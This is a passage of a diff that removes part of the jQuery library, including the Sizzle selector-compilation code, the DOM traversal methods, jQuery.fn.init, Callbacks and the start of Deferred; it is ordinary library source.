!matchers[ i ]( elem, context, xml ) ) { - return false; - } - } - return true; - } : - matchers[ 0 ]; -} - -function multipleContexts( selector, contexts, results ) { - var i = 0, - len = contexts.length; - for ( ; i < len; i++ ) { - find( selector, contexts[ i ], results ); - } - return results; -} - -function condense( unmatched, map, filter, context, xml ) { - var elem, - newUnmatched = [], - i = 0, - len = unmatched.length, - mapped = map != null; - - for ( ; i < len; i++ ) { - if ( ( elem = unmatched[ i ] ) ) { - if ( !filter || filter( elem, context, xml ) ) { - newUnmatched.push( elem ); - if ( mapped ) { - map.push( i ); - } - } - } - } - - return newUnmatched; -} - -function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) { - if ( postFilter && !postFilter[ expando ] ) { - postFilter = setMatcher( postFilter ); - } - if ( postFinder && !postFinder[ expando ] ) { - postFinder = setMatcher( postFinder, postSelector ); - } - return markFunction( function( seed, results, context, xml ) { - var temp, i, elem, matcherOut, - preMap = [], - postMap = [], - preexisting = results.length, - - // Get initial elements from seed or context - elems = seed || - multipleContexts( selector || "*", - context.nodeType ? [ context ] : context, [] ), - - // Prefilter to get matcher input, preserving a map for seed-results synchronization - matcherIn = preFilter && ( seed || !selector ) ? - condense( elems, preMap, preFilter, context, xml ) : - elems; - - if ( matcher ) { - - // If we have a postFinder, or filtered seed, or non-seed postFilter - // or preexisting results, - matcherOut = postFinder || ( seed ? preFilter : preexisting || postFilter ) ? - - // ...intermediate processing is necessary - [] : - - // ...otherwise use results directly - results; - - // Find primary matches - matcher( matcherIn, matcherOut, context, xml ); - } else { - matcherOut = matcherIn; - } - - // Apply postFilter - if ( postFilter ) { - temp = condense( matcherOut, postMap ); - postFilter( temp, [], context, xml ); - - // Un-match failing elements by moving them back to matcherIn - i = temp.length; - while ( i-- ) { - if ( ( elem = temp[ i ] ) ) { - matcherOut[ postMap[ i ] ] = !( matcherIn[ postMap[ i ] ] = elem ); - } - } - } - - if ( seed ) { - if ( postFinder || preFilter ) { - if ( postFinder ) { - - // Get the final matcherOut by condensing this intermediate into postFinder contexts - temp = []; - i = matcherOut.length; - while ( i-- ) { - if ( ( elem = matcherOut[ i ] ) ) { - - // Restore matcherIn since elem is not yet a final match - temp.push( ( matcherIn[ i ] = elem ) ); - } - } - postFinder( null, ( matcherOut = [] ), temp, xml ); - } - - // Move matched elements from seed to results to keep them synchronized - i = matcherOut.length; - while ( i-- ) { - if ( ( elem = matcherOut[ i ] ) && - ( temp = postFinder ? indexOf.call( seed, elem ) : preMap[ i ] ) > -1 ) { - - seed[ temp ] = !( results[ temp ] = elem ); - } - } - } - - // Add elements to results, through postFinder if defined - } else { - matcherOut = condense( - matcherOut === results ? - matcherOut.splice( preexisting, matcherOut.length ) : - matcherOut - ); - if ( postFinder ) { - postFinder( null, results, matcherOut, xml ); - } else { - push.apply( results, matcherOut ); - } - } - } ); -} - -function matcherFromTokens( tokens ) { - var checkContext, matcher, j, - len = tokens.length, - leadingRelative = Expr.relative[ tokens[ 0 ].type ], - implicitRelative = leadingRelative || Expr.relative[ " " ], - i = leadingRelative ? 1 : 0, - - // The foundational matcher ensures that elements are reachable from top-level context(s) - matchContext = addCombinator( function( elem ) { - return elem === checkContext; - }, implicitRelative, true ), - matchAnyContext = addCombinator( function( elem ) { - return indexOf.call( checkContext, elem ) > -1; - }, implicitRelative, true ), - matchers = [ function( elem, context, xml ) { - - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when strict-comparing - // two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - var ret = ( !leadingRelative && ( xml || context != outermostContext ) ) || ( - ( checkContext = context ).nodeType ? - matchContext( elem, context, xml ) : - matchAnyContext( elem, context, xml ) ); - - // Avoid hanging onto element - // (see https://github.com/jquery/sizzle/issues/299) - checkContext = null; - return ret; - } ]; - - for ( ; i < len; i++ ) { - if ( ( matcher = Expr.relative[ tokens[ i ].type ] ) ) { - matchers = [ addCombinator( elementMatcher( matchers ), matcher ) ]; - } else { - matcher = Expr.filter[ tokens[ i ].type ].apply( null, tokens[ i ].matches ); - - // Return special upon seeing a positional matcher - if ( matcher[ expando ] ) { - - // Find the next relative operator (if any) for proper handling - j = ++i; - for ( ; j < len; j++ ) { - if ( Expr.relative[ tokens[ j ].type ] ) { - break; - } - } - return setMatcher( - i > 1 && elementMatcher( matchers ), - i > 1 && toSelector( - - // If the preceding token was a descendant combinator, insert an implicit any-element `*` - tokens.slice( 0, i - 1 ) - .concat( { value: tokens[ i - 2 ].type === " " ? "*" : "" } ) - ).replace( rtrimCSS, "$1" ), - matcher, - i < j && matcherFromTokens( tokens.slice( i, j ) ), - j < len && matcherFromTokens( ( tokens = tokens.slice( j ) ) ), - j < len && toSelector( tokens ) - ); - } - matchers.push( matcher ); - } - } - - return elementMatcher( matchers ); -} - -function matcherFromGroupMatchers( elementMatchers, setMatchers ) { - var bySet = setMatchers.length > 0, - byElement = elementMatchers.length > 0, - superMatcher = function( seed, context, xml, results, outermost ) { - var elem, j, matcher, - matchedCount = 0, - i = "0", - unmatched = seed && [], - setMatched = [], - contextBackup = outermostContext, - - // We must always have either seed elements or outermost context - elems = seed || byElement && Expr.find.TAG( "*", outermost ), - - // Use integer dirruns iff this is the outermost matcher - dirrunsUnique = ( dirruns += contextBackup == null ? 1 : Math.random() || 0.1 ), - len = elems.length; - - if ( outermost ) { - - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when strict-comparing - // two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - outermostContext = context == document || context || outermost; - } - - // Add elements passing elementMatchers directly to results - // Support: iOS <=7 - 9 only - // Tolerate NodeList properties (IE: "length"; Safari: <number>) matching - // elements by id. (see trac-14142) - for ( ; i !== len && ( elem = elems[ i ] ) != null; i++ ) { - if ( byElement && elem ) { - j = 0; - - // Support: IE 11+, Edge 17 - 18+ - // IE/Edge sometimes throw a "Permission denied" error when strict-comparing - // two documents; shallow comparisons work. - // eslint-disable-next-line eqeqeq - if ( !context && elem.ownerDocument != document ) { - setDocument( elem ); - xml = !documentIsHTML; - } - while ( ( matcher = elementMatchers[ j++ ] ) ) { - if ( matcher( elem, context || document, xml ) ) { - push.call( results, elem ); - break; - } - } - if ( outermost ) { - dirruns = dirrunsUnique; - } - } - - // Track unmatched elements for set filters - if ( bySet ) { - - // They will have gone through all possible matchers - if ( ( elem = !matcher && elem ) ) { - matchedCount--; - } - - // Lengthen the array for every element, matched or not - if ( seed ) { - unmatched.push( elem ); - } - } - } - - // `i` is now the count of elements visited above, and adding it to `matchedCount` - // makes the latter nonnegative. - matchedCount += i; - - // Apply set filters to unmatched elements - // NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount` - // equals `i`), unless we didn't visit _any_ elements in the above loop because we have - // no element matchers and no seed. - // Incrementing an initially-string "0" `i` allows `i` to remain a string only in that - // case, which will result in a "00" `matchedCount` that differs from `i` but is also - // numerically zero. - if ( bySet && i !== matchedCount ) { - j = 0; - while ( ( matcher = setMatchers[ j++ ] ) ) { - matcher( unmatched, setMatched, context, xml ); - } - - if ( seed ) { - - // Reintegrate element matches to eliminate the need for sorting - if ( matchedCount > 0 ) { - while ( i-- ) { - if ( !( unmatched[ i ] || setMatched[ i ] ) ) { - setMatched[ i ] = pop.call( results ); - } - } - } - - // Discard index placeholder values to get only actual matches - setMatched = condense( setMatched ); - } - - // Add matches to results - push.apply( results, setMatched ); - - // Seedless set matches succeeding multiple successful matchers stipulate sorting - if ( outermost && !seed && setMatched.length > 0 && - ( matchedCount + setMatchers.length ) > 1 ) { - - jQuery.uniqueSort( results ); - } - } - - // Override manipulation of globals by nested matchers - if ( outermost ) { - dirruns = dirrunsUnique; - outermostContext = contextBackup; - } - - return unmatched; - }; - - return bySet ? - markFunction( superMatcher ) : - superMatcher; -} - -function compile( selector, match /* Internal Use Only */ ) { - var i, - setMatchers = [], - elementMatchers = [], - cached = compilerCache[ selector + " " ]; - - if ( !cached ) { - - // Generate a function of recursive functions that can be used to check each element - if ( !match ) { - match = tokenize( selector ); - } - i = match.length; - while ( i-- ) { - cached = matcherFromTokens( match[ i ] ); - if ( cached[ expando ] ) { - setMatchers.push( cached ); - } else { - elementMatchers.push( cached ); - } - } - - // Cache the compiled function - cached = compilerCache( selector, - matcherFromGroupMatchers( elementMatchers, setMatchers ) ); - - // Save selector and tokenization - cached.selector = selector; - } - return cached; -} - -/** - * A low-level selection function that works with jQuery's compiled - * selector functions - * @param {String|Function} selector A selector or a pre-compiled - * selector function built with jQuery selector compile - * @param {Element} context - * @param {Array} [results] - * @param {Array} [seed] A set of elements to match against - */ -function select( selector, context, results, seed ) { - var i, tokens, token, type, find, - compiled = typeof selector === "function" && selector, - match = !seed && tokenize( ( selector = compiled.selector || selector ) ); - - results = results || []; - - // Try to minimize operations if there is only one selector in the list and no seed - // (the latter of which guarantees us context) - if ( match.length === 1 ) { - - // Reduce context if the leading compound selector is an ID - tokens = match[ 0 ] = match[ 0 ].slice( 0 ); - if ( tokens.length > 2 && ( token = tokens[ 0 ] ).type === "ID" && - context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[ 1 ].type ] ) { - - context = ( Expr.find.ID( - token.matches[ 0 ].replace( runescape, funescape ), - context - ) || [] )[ 0 ]; - if ( !context ) { - return results; - - // Precompiled matchers will still verify ancestry, so step up a level - } else if ( compiled ) { - context = context.parentNode; - } - - selector = selector.slice( tokens.shift().value.length ); - } - - // Fetch a seed set for right-to-left matching - i = matchExpr.needsContext.test( selector ) ? 0 : tokens.length; - while ( i-- ) { - token = tokens[ i ]; - - // Abort if we hit a combinator - if ( Expr.relative[ ( type = token.type ) ] ) { - break; - } - if ( ( find = Expr.find[ type ] ) ) { - - // Search, expanding context for leading sibling combinators - if ( ( seed = find( - token.matches[ 0 ].replace( runescape, funescape ), - rsibling.test( tokens[ 0 ].type ) && - testContext( context.parentNode ) || context - ) ) ) { - - // If seed is empty or no tokens remain, we can return early - tokens.splice( i, 1 ); - selector = seed.length && toSelector( tokens ); - if ( !selector ) { - push.apply( results, seed ); - return results; - } - - break; - } - } - } - } - - // Compile and execute a filtering function if one is not provided - // Provide `match` to avoid retokenization if we modified the selector above - ( compiled || compile( selector, match ) )( - seed, - context, - !documentIsHTML, - results, - !context || rsibling.test( selector ) && testContext( context.parentNode ) || context - ); - return results; -} - -// One-time assignments - -// Support: Android <=4.0 - 4.1+ -// Sort stability -support.sortStable = expando.split( "" ).sort( sortOrder ).join( "" ) === expando; - -// Initialize against the default document -setDocument(); - -// Support: Android <=4.0 - 4.1+ -// Detached nodes confoundingly follow *each other* -support.sortDetached = assert( function( el ) { - - // Should return 1, but returns 4 (following) - return el.compareDocumentPosition( document.createElement( "fieldset" ) ) & 1; -} ); - -jQuery.find = find; - -// Deprecated -jQuery.expr[ ":" ] = jQuery.expr.pseudos; -jQuery.unique = jQuery.uniqueSort; - -// These have always been private, but they used to be documented as part of -// Sizzle so let's maintain them for now for backwards compatibility purposes. -find.compile = compile; -find.select = select; -find.setDocument = setDocument; -find.tokenize = tokenize; - -find.escape = jQuery.escapeSelector; -find.getText = jQuery.text; -find.isXML = jQuery.isXMLDoc; -find.selectors = jQuery.expr; -find.support = jQuery.support; -find.uniqueSort = jQuery.uniqueSort; - - /* eslint-enable */ - -} )(); - - -var dir = function( elem, dir, until ) { - var matched = [], - truncate = until !== undefined; - - while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { - if ( elem.nodeType === 1 ) { - if ( truncate && jQuery( elem ).is( until ) ) { - break; - } - matched.push( elem ); - } - } - return matched; -}; - - -var siblings = function( n, elem ) { - var matched = []; - - for ( ; n; n = n.nextSibling ) { - if ( n.nodeType === 1 && n !== elem ) { - matched.push( n ); - } - } - - return matched; -}; - - -var rneedsContext = jQuery.expr.match.needsContext; - -var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i ); - - - -// Implement the identical functionality for filter and not -function winnow( elements, qualifier, not ) { - if ( isFunction( qualifier ) ) { - return jQuery.grep( elements, function( elem, i ) { - return !!qualifier.call( elem, i, elem ) !== not; - } ); - } - - // Single element - if ( qualifier.nodeType ) { - return jQuery.grep( elements, function( elem ) { - return ( elem === qualifier ) !== not; - } ); - } - - // Arraylike of elements (jQuery, arguments, Array) - if ( typeof qualifier !== "string" ) { - return jQuery.grep( elements, function( elem ) { - return ( indexOf.call( qualifier, elem ) > -1 ) !== not; - } ); - } - - // Filtered directly for both simple and complex selectors - return jQuery.filter( qualifier, elements, not ); -} - -jQuery.filter = function( expr, elems, not ) { - var elem = elems[ 0 ]; - - if ( not ) { - expr = ":not(" + expr + ")"; - } - - if ( elems.length === 1 && elem.nodeType === 1 ) { - return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : []; - } - - return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { - return elem.nodeType === 1; - } ) ); -}; - -jQuery.fn.extend( { - find: function( selector ) { - var i, ret, - len = this.length, - self = this; - - if ( typeof selector !== "string" ) { - return this.pushStack( jQuery( selector ).filter( function() { - for ( i = 0; i < len; i++ ) { - if ( jQuery.contains( self[ i ], this ) ) { - return true; - } - } - } ) ); - } - - ret = this.pushStack( [] ); - - for ( i = 0; i < len; i++ ) { - jQuery.find( selector, self[ i ], ret ); - } - - return len > 1 ? jQuery.uniqueSort( ret ) : ret; - }, - filter: function( selector ) { - return this.pushStack( winnow( this, selector || [], false ) ); - }, - not: function( selector ) { - return this.pushStack( winnow( this, selector || [], true ) ); - }, - is: function( selector ) { - return !!winnow( - this, - - // If this is a positional/relative selector, check membership in the returned set - // so $("p:first").is("p:last") won't return true for a doc with two "p". - typeof selector === "string" && rneedsContext.test( selector ) ? - jQuery( selector ) : - selector || [], - false - ).length; - } -} ); - - -// Initialize a jQuery object - - -// A central reference to the root jQuery(document) -var rootjQuery, - - // A simple way to check for HTML strings - // Prioritize #id over <tag> to avoid XSS via location.hash (trac-9521) - // Strict HTML recognition (trac-11290: must start with <) - // Shortcut simple #id case for speed - rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/, - - init = jQuery.fn.init = function( selector, context, root ) { - var match, elem; - - // HANDLE: $(""), $(null), $(undefined), $(false) - if ( !selector ) { - return this; - } - - // Method init() accepts an alternate rootjQuery - // so migrate can support jQuery.sub (gh-2101) - root = root || rootjQuery; - - // Handle HTML strings - if ( typeof selector === "string" ) { - if ( selector[ 0 ] === "<" && - selector[ selector.length - 1 ] === ">" && - selector.length >= 3 ) { - - // Assume that strings that start and end with <> are HTML and skip the regex check - match = [ null, selector, null ]; - - } else { - match = rquickExpr.exec( selector ); - } - - // Match html or make sure no context is specified for #id - if ( match && ( match[ 1 ] || !context ) ) { - - // HANDLE: $(html) -> $(array) - if ( match[ 1 ] ) { - context = context instanceof jQuery ? context[ 0 ] : context; - - // Option to run scripts is true for back-compat - // Intentionally let the error be thrown if parseHTML is not present - jQuery.merge( this, jQuery.parseHTML( - match[ 1 ], - context && context.nodeType ? context.ownerDocument || context : document, - true - ) ); - - // HANDLE: $(html, props) - if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) { - for ( match in context ) { - - // Properties of context are called as methods if possible - if ( isFunction( this[ match ] ) ) { - this[ match ]( context[ match ] ); - - // ...and otherwise set as attributes - } else { - this.attr( match, context[ match ] ); - } - } - } - - return this; - - // HANDLE: $(#id) - } else { - elem = document.getElementById( match[ 2 ] ); - - if ( elem ) { - - // Inject the element directly into the jQuery object - this[ 0 ] = elem; - this.length = 1; - } - return this; - } - - // HANDLE: $(expr, $(...)) - } else if ( !context || context.jquery ) { - return ( context || root ).find( selector ); - - // HANDLE: $(expr, context) - // (which is just equivalent to: $(context).find(expr) - } else { - return this.constructor( context ).find( selector ); - } - - // HANDLE: $(DOMElement) - } else if ( selector.nodeType ) { - this[ 0 ] = selector; - this.length = 1; - return this; - - // HANDLE: $(function) - // Shortcut for document ready - } else if ( isFunction( selector ) ) { - return root.ready !== undefined ? - root.ready( selector ) : - - // Execute immediately if ready is not present - selector( jQuery ); - } - - return jQuery.makeArray( selector, this ); - }; - -// Give the init function the jQuery prototype for later instantiation -init.prototype = jQuery.fn; - -// Initialize central reference -rootjQuery = jQuery( document ); - - -var rparentsprev = /^(?:parents|prev(?:Until|All))/, - - // Methods guaranteed to produce a unique set when starting from a unique set - guaranteedUnique = { - children: true, - contents: true, - next: true, - prev: true - }; - -jQuery.fn.extend( { - has: function( target ) { - var targets = jQuery( target, this ), - l = targets.length; - - return this.filter( function() { - var i = 0; - for ( ; i < l; i++ ) { - if ( jQuery.contains( this, targets[ i ] ) ) { - return true; - } - } - } ); - }, - - closest: function( selectors, context ) { - var cur, - i = 0, - l = this.length, - matched = [], - targets = typeof selectors !== "string" && jQuery( selectors ); - - // Positional selectors never match, since there's no _selection_ context - if ( !rneedsContext.test( selectors ) ) { - for ( ; i < l; i++ ) { - for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) { - - // Always skip document fragments - if ( cur.nodeType < 11 && ( targets ? - targets.index( cur ) > -1 : - - // Don't pass non-elements to jQuery#find - cur.nodeType === 1 && - jQuery.find.matchesSelector( cur, selectors ) ) ) { - - matched.push( cur ); - break; - } - } - } - } - - return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched ); - }, - - // Determine the position of an element within the set - index: function( elem ) { - - // No argument, return index in parent - if ( !elem ) { - return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1; - } - - // Index in selector - if ( typeof elem === "string" ) { - return indexOf.call( jQuery( elem ), this[ 0 ] ); - } - - // Locate the position of the desired element - return indexOf.call( this, - - // If it receives a jQuery object, the first element is used - elem.jquery ? elem[ 0 ] : elem - ); - }, - - add: function( selector, context ) { - return this.pushStack( - jQuery.uniqueSort( - jQuery.merge( this.get(), jQuery( selector, context ) ) - ) - ); - }, - - addBack: function( selector ) { - return this.add( selector == null ? - this.prevObject : this.prevObject.filter( selector ) - ); - } -} ); - -function sibling( cur, dir ) { - while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {} - return cur; -} - -jQuery.each( { - parent: function( elem ) { - var parent = elem.parentNode; - return parent && parent.nodeType !== 11 ? parent : null; - }, - parents: function( elem ) { - return dir( elem, "parentNode" ); - }, - parentsUntil: function( elem, _i, until ) { - return dir( elem, "parentNode", until ); - }, - next: function( elem ) { - return sibling( elem, "nextSibling" ); - }, - prev: function( elem ) { - return sibling( elem, "previousSibling" ); - }, - nextAll: function( elem ) { - return dir( elem, "nextSibling" ); - }, - prevAll: function( elem ) { - return dir( elem, "previousSibling" ); - }, - nextUntil: function( elem, _i, until ) { - return dir( elem, "nextSibling", until ); - }, - prevUntil: function( elem, _i, until ) { - return dir( elem, "previousSibling", until ); - }, - siblings: function( elem ) { - return siblings( ( elem.parentNode || {} ).firstChild, elem ); - }, - children: function( elem ) { - return siblings( elem.firstChild ); - }, - contents: function( elem ) { - if ( elem.contentDocument != null && - - // Support: IE 11+ - // <object> elements with no `data` attribute has an object - // `contentDocument` with a `null` prototype. - getProto( elem.contentDocument ) ) { - - return elem.contentDocument; - } - - // Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only - // Treat the template element as a regular one in browsers that - // don't support it. - if ( nodeName( elem, "template" ) ) { - elem = elem.content || elem; - } - - return jQuery.merge( [], elem.childNodes ); - } -}, function( name, fn ) { - jQuery.fn[ name ] = function( until, selector ) { - var matched = jQuery.map( this, fn, until ); - - if ( name.slice( -5 ) !== "Until" ) { - selector = until; - } - - if ( selector && typeof selector === "string" ) { - matched = jQuery.filter( selector, matched ); - } - - if ( this.length > 1 ) { - - // Remove duplicates - if ( !guaranteedUnique[ name ] ) { - jQuery.uniqueSort( matched ); - } - - // Reverse order for parents* and prev-derivatives - if ( rparentsprev.test( name ) ) { - matched.reverse(); - } - } - - return this.pushStack( matched ); - }; -} ); -var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g ); - - - -// Convert String-formatted options into Object-formatted ones -function createOptions( options ) { - var object = {}; - jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) { - object[ flag ] = true; - } ); - return object; -} - -/* - * Create a callback list using the following parameters: - * - * options: an optional list of space-separated options that will change how - * the callback list behaves or a more traditional option object - * - * By default a callback list will act like an event callback list and can be - * "fired" multiple times. - * - * Possible options: - * - * once: will ensure the callback list can only be fired once (like a Deferred) - * - * memory: will keep track of previous values and will call any callback added - * after the list has been fired right away with the latest "memorized" - * values (like a Deferred) - * - * unique: will ensure a callback can only be added once (no duplicate in the list) - * - * stopOnFalse: interrupt callings when a callback returns false - * - */ -jQuery.Callbacks = function( options ) { - - // Convert options from String-formatted to Object-formatted if needed - // (we check in cache first) - options = typeof options === "string" ? - createOptions( options ) : - jQuery.extend( {}, options ); - - var // Flag to know if list is currently firing - firing, - - // Last fire value for non-forgettable lists - memory, - - // Flag to know if list was already fired - fired, - - // Flag to prevent firing - locked, - - // Actual callback list - list = [], - - // Queue of execution data for repeatable lists - queue = [], - - // Index of currently firing callback (modified by add/remove as needed) - firingIndex = -1, - - // Fire callbacks - fire = function() { - - // Enforce single-firing - locked = locked || options.once; - - // Execute callbacks for all pending executions, - // respecting firingIndex overrides and runtime changes - fired = firing = true; - for ( ; queue.length; firingIndex = -1 ) { - memory = queue.shift(); - while ( ++firingIndex < list.length ) { - - // Run callback and check for early termination - if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false && - options.stopOnFalse ) { - - // Jump to end and forget the data so .add doesn't re-fire - firingIndex = list.length; - memory = false; - } - } - } - - // Forget the data if we're done with it - if ( !options.memory ) { - memory = false; - } - - firing = false; - - // Clean up if we're done firing for good - if ( locked ) { - - // Keep an empty list if we have data for future add calls - if ( memory ) { - list = []; - - // Otherwise, this object is spent - } else { - list = ""; - } - } - }, - - // Actual Callbacks object - self = { - - // Add a callback or a collection of callbacks to the list - add: function() { - if ( list ) { - - // If we have memory from a past run, we should fire after adding - if ( memory && !firing ) { - firingIndex = list.length - 1; - queue.push( memory ); - } - - ( function add( args ) { - jQuery.each( args, function( _, arg ) { - if ( isFunction( arg ) ) { - if ( !options.unique || !self.has( arg ) ) { - list.push( arg ); - } - } else if ( arg && arg.length && toType( arg ) !== "string" ) { - - // Inspect recursively - add( arg ); - } - } ); - } )( arguments ); - - if ( memory && !firing ) { - fire(); - } - } - return this; - }, - - // Remove a callback from the list - remove: function() { - jQuery.each( arguments, function( _, arg ) { - var index; - while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) { - list.splice( index, 1 ); - - // Handle firing indexes - if ( index <= firingIndex ) { - firingIndex--; - } - } - } ); - return this; - }, - - // Check if a given callback is in the list. - // If no argument is given, return whether or not list has callbacks attached. - has: function( fn ) { - return fn ? - jQuery.inArray( fn, list ) > -1 : - list.length > 0; - }, - - // Remove all callbacks from the list - empty: function() { - if ( list ) { - list = []; - } - return this; - }, - - // Disable .fire and .add - // Abort any current/pending executions - // Clear all callbacks and values - disable: function() { - locked = queue = []; - list = memory = ""; - return this; - }, - disabled: function() { - return !list; - }, - - // Disable .fire - // Also disable .add unless we have memory (since it would have no effect) - // Abort any pending executions - lock: function() { - locked = queue = []; - if ( !memory && !firing ) { - list = memory = ""; - } - return this; - }, - locked: function() { - return !!locked; - }, - - // Call all callbacks with the given context and arguments - fireWith: function( context, args ) { - if ( !locked ) { - args = args || []; - args = [ context, args.slice ? args.slice() : args ]; - queue.push( args ); - if ( !firing ) { - fire(); - } - } - return this; - }, - - // Call all the callbacks with the given arguments - fire: function() { - self.fireWith( this, arguments ); - return this; - }, - - // To know if the callbacks have already been called at least once - fired: function() { - return !!fired; - } - }; - - return self; -}; - - -function Identity( v ) { - return v; -} -function Thrower( ex ) { - throw ex; -} - -function adoptValue( value, resolve, reject, noValue ) { - var method; - - try { - - // Check for promise aspect first to privilege synchronous behavior - if ( value && isFunction( ( method = value.promise ) ) ) { - method.call( value ).done( resolve ).fail( reject ); - - // Other thenables - } else if ( value && isFunction( ( method = value.then ) ) ) { - method.call( value, resolve, reject ); - - // Other non-thenables - } else { - - // Control `resolve` arguments by letting Array#slice cast boolean `noValue` to integer: - // * false: [ value ].slice( 0 ) => resolve( value ) - // * true: [ value ].slice( 1 ) => resolve() - resolve.apply( undefined, [ value ].slice( noValue ) ); - } - - // For Promises/A+, convert exceptions into rejections - // Since jQuery.when doesn't unwrap thenables, we can skip the extra checks appearing in - // Deferred#then to conditionally suppress rejection. - } catch ( value ) { - - // Support: Android 4.0 only - // Strict mode functions invoked without .call/.apply get global-object context - reject.apply( undefined, [ value ] ); - } -} - -jQuery.extend( { - - Deferred: function( func ) { - var tuples = [ - - // action, add listener, callbacks, - // ... .then handlers, argument index, [final state] - [ "notify", "progress", jQuery.Callbacks( "memory" ), - jQuery.Callbacks( "memory" ), 2 ], - [ "resolve", "done", jQuery.Callbacks( "once memory" ), - jQuery.Callbacks( "once memory" ), 0, "resolved" ], - [ "reject", "fail", jQuery.Callbacks( "once memory" ), - jQuery.Callbacks( "once memory" ), 1, "rejected" ] - ], - state = "pending", - promise = { - state: function() { - return state; - }, - always: function() { - deferred.done( arguments ).fail( arguments ); - return this; - }, - "catch": function( fn ) { - return promise.then( null, fn ); - }, - - // Keep pipe for back-compat - pipe: function( /* fnDone, fnFail, fnProgress */ ) { - var fns = arguments; - - return jQuery.Deferred( function( newDefer ) { - jQuery.each( tuples, function( _i, tuple ) { - - // Map tuples (progress, done, fail) to arguments (done, fail, progress) - var fn = isFunction( fns[ tuple[ 4 ] ] ) && fns[ tuple[ 4 ] ]; - - // deferred.progress(function() { bind to newDefer or newDefer.notify }) - // deferred.done(function() { bind to newDefer or newDefer.resolve }) - // deferred.fail(function() { bind to newDefer or newDefer.reject }) - deferred[ tuple[ 1 ] ]( function() { - var returned = fn && fn.apply( this, arguments ); - if ( returned && isFunction( returned.promise ) ) { - returned.promise() - .progress( newDefer.notify ) - .done( newDefer.resolve ) - .fail( newDefer.reject ); - } else { - newDefer[ tuple[ 0 ] + "With" ]( - this, - fn ? [ returned ] : arguments - ); - } - } ); - } ); - fns = null; - } ).promise(); - }, - then: function( onFulfilled, onRejected, onProgress ) { - var maxDepth = 0; - function resolve( depth, deferred, handler, special ) { - return function() { - var that = this, - args = arguments, - mightThrow = function() { - var returned, then; - - // Support: Promises/A+ section 2.3.3.3.3 - // https://promisesaplus.com/#point-59 - // Ignore double-resolution attempts - if ( depth < maxDepth ) { - return; - } - - returned = handler.apply( that, args ); - - // Support: Promises/A+ section 2.3.1 - // https://promisesaplus.com/#point-48 - if ( returned === deferred.promise() ) { - throw new TypeError( "Thenable self-resolution" ); - } - - // Support: Promises/A+ sections 2.3.3.1, 3.5 - // https://promisesaplus.com/#point-54 - // https://promisesaplus.com/#point-75 - // Retrieve `then` only once - then = returned && - - // Support: Promises/A+ section 2.3.4 - // https://promisesaplus.com/#point-64 - // Only check objects and functions for thenability - ( typeof returned === "object" || - typeof returned === "function" ) && - returned.then; - - // Handle a returned thenable - if ( isFunction( then ) ) { - - // Special processors (notify) just wait for resolution - if ( special ) { - then.call( - returned, - resolve( maxDepth, deferred, Identity, special ), - resolve( maxDepth, deferred, Thrower, special ) - ); - - // Normal processors (resolve) also hook into progress - } else { - - // ...and disregard older resolution values - maxDepth++; - - then.call( - returned, - resolve( maxDepth, deferred, Identity, special ), - resolve( maxDepth, deferred, Thrower, special ), - resolve( maxDepth, deferred, Identity, - deferred.notifyWith ) - ); - } - - // Handle all other returned values - } else { - - // Only substitute handlers pass on context - // and multiple values (non-spec behavior) - if ( handler !== Identity ) { - that = undefined; - args = [ returned ]; - } - - // Process the value(s) - // Default process is resolve - ( special || deferred.resolveWith )( that, args ); - } - }, - - // Only normal processors (resolve) catch and reject exceptions - process = special ? - mightThrow : - function() { - try { - mightThrow(); - } catch ( e ) { - - if ( jQuery.Deferred.exceptionHook ) { - jQuery.Deferred.exceptionHook( e, - process.error ); - } - - // Support: Promises/A+ section 2.3.3.3.4.1 - // https://promisesaplus.com/#point-61 - // Ignore post-resolution exceptions - if ( depth + 1 >= maxDepth ) { - - // Only substitute handlers pass on context - // and multiple values (non-spec behavior) - if ( handler !== Thrower ) { - that = undefined; - args = [ e ]; - } - - deferred.rejectWith( that, args ); - } - } - }; - - // Support: Promises/A+ section 2.3.3.3.1 - // https://promisesaplus.com/#point-57 - // Re-resolve promises immediately to dodge false rejection from - // subsequent errors - if ( depth ) { - process(); - } else { - - // Call an optional hook to record the error, in case of exception - // since it's otherwise lost when execution goes async - if ( jQuery.Deferred.getErrorHook ) { - process.error = jQuery.Deferred.getErrorHook(); - - // The deprecated alias of the above. While the name suggests - // returning the stack, not an error instance, jQuery just passes - // it directly to `console.warn` so both will work; an instance - // just better cooperates with source maps. - } else if ( jQuery.Deferred.getStackHook ) { - process.error = jQuery.Deferred.getStackHook(); - } - window.setTimeout( process ); - } - }; - } - - return jQuery.Deferred( function( newDefer ) { - - // progress_handlers.add( ... ) - tuples[ 0 ][ 3 ].add( - resolve( - 0, - newDefer, - isFunction( onProgress ) ? - onProgress : - Identity, - newDefer.notifyWith - ) - ); - - // fulfilled_handlers.add( ... ) - tuples[ 1 ][ 3 ].add( - resolve( - 0, - newDefer, - isFunction( onFulfilled ) ? - onFulfilled : - Identity - ) - ); - - // rejected_handlers.add( ... ) - tuples[ 2 ][ 3 ].add( - resolve( - 0, - newDefer, - isFunction( onRejected ) ? - onRejected : - Thrower - ) - ); - } ).promise(); - }, - - // Get a promise for this deferred - // If obj is provided, the promise aspect is added to the object - promise: function( obj ) { - return obj != null ? jQuery.extend( obj, promise ) 